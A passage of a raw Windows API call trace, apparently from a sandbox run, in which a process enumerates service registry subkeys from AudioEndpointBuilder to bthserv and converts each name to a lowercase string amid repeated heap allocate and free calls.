lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1bf8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0249.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.290] RegEnumKeyW (in: hKey=0x154, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0249.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0249.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.290] RegEnumKeyW (in: hKey=0x154, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0249.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0249.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.290] RegEnumKeyW (in: hKey=0x154, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0249.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0249.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.291] RegEnumKeyW (in: hKey=0x154, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0249.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0249.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.291] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0249.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1970, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0249.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.291] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0249.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0249.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.292] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0249.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0249.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.292] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0249.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0249.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.292] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0249.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0249.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.292] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0249.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0249.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.293] RegEnumKeyW (in: hKey=0x154, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0249.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0249.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.293] RegEnumKeyW (in: hKey=0x154, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0249.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0249.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.293] RegEnumKeyW (in: hKey=0x154, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0249.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0249.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.293] RegEnumKeyW (in: hKey=0x154, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0249.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0249.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.294] RegEnumKeyW (in: hKey=0x154, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0249.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0249.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.294] RegEnumKeyW (in: hKey=0x154, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0249.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0249.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.294] RegEnumKeyW (in: hKey=0x154, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0249.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0249.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.295] RegEnumKeyW (in: hKey=0x154, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0249.295] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.295] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0249.295] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.295] RegEnumKeyW (in: hKey=0x154, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0249.295] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.295] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0249.295] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.295] RegEnumKeyW (in: hKey=0x154, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0249.295] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.295] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0249.295] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.295] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0249.295] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.296] 